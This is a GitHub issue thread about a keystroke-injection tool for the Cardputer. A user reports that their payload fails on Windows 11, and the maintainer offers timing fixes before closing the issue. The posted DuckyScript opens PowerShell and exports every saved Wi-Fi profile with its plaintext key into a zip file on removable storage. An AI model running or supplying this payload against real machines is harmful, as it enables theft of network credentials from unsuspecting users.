Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Payload Issue - After String No Enter #3

Closed
Velocity-50 opened this issue Mar 22, 2024 · 5 comments
Closed

Payload Issue - After String No Enter #3

Velocity-50 opened this issue Mar 22, 2024 · 5 comments

Comments

@Velocity-50
Copy link

So I have an issue with executing a payload with BadCard.
Whenever I execute this payload:

DELAY 500
WINDOWS r
DELAY 500
STRING powershell
DELAY 500
ENTER
DELAY 500
STRING $u=(gc env:\userprofile).value+'\WG '+ (Get-Date -Format FileDateTime); $f=ni -Path $u -ItemType Directory -EA 0; netsh wlan export profile key=clear folder=$($f.FullName); Compress-Archive -Path $f.FullName -DestinationPath "D:\WP\WP.zip";
DELAY 1000
ENTER

It will put the last string in powershell but it wont press enter.
How can I fix this?

@VoidNoi
Copy link
Owner

VoidNoi commented Mar 22, 2024

I've tested this on linux and works perfectly, what OS are you using?

@Velocity-50
Copy link
Author

I am sending the code via a Cardputer onto a Windows 11 machine.

@VoidNoi
Copy link
Owner

VoidNoi commented Mar 22, 2024

Try adding a DELAY 500 at the end of the payload. Windows 11 is known to have a lot of drivers issues, we discovered it affects cardputer too unfortunately in this issue #1 (comment). This is mentioned in the README.

If you're having trouble executing your payloads on Windows 11 try adding a DELAY 500 at the end of your payload #1 (comment)

@Velocity-50
Copy link
Author

I have already tried that and that didnt work. I made the delay 1000 which also didnt work.

@VoidNoi
Copy link
Owner

VoidNoi commented Mar 22, 2024

Then there's nothing I can do unfortunately since it's a windows 11 issue

@VoidNoi VoidNoi closed this as not planned Won't fix, can't repro, duplicate, stale Mar 23, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants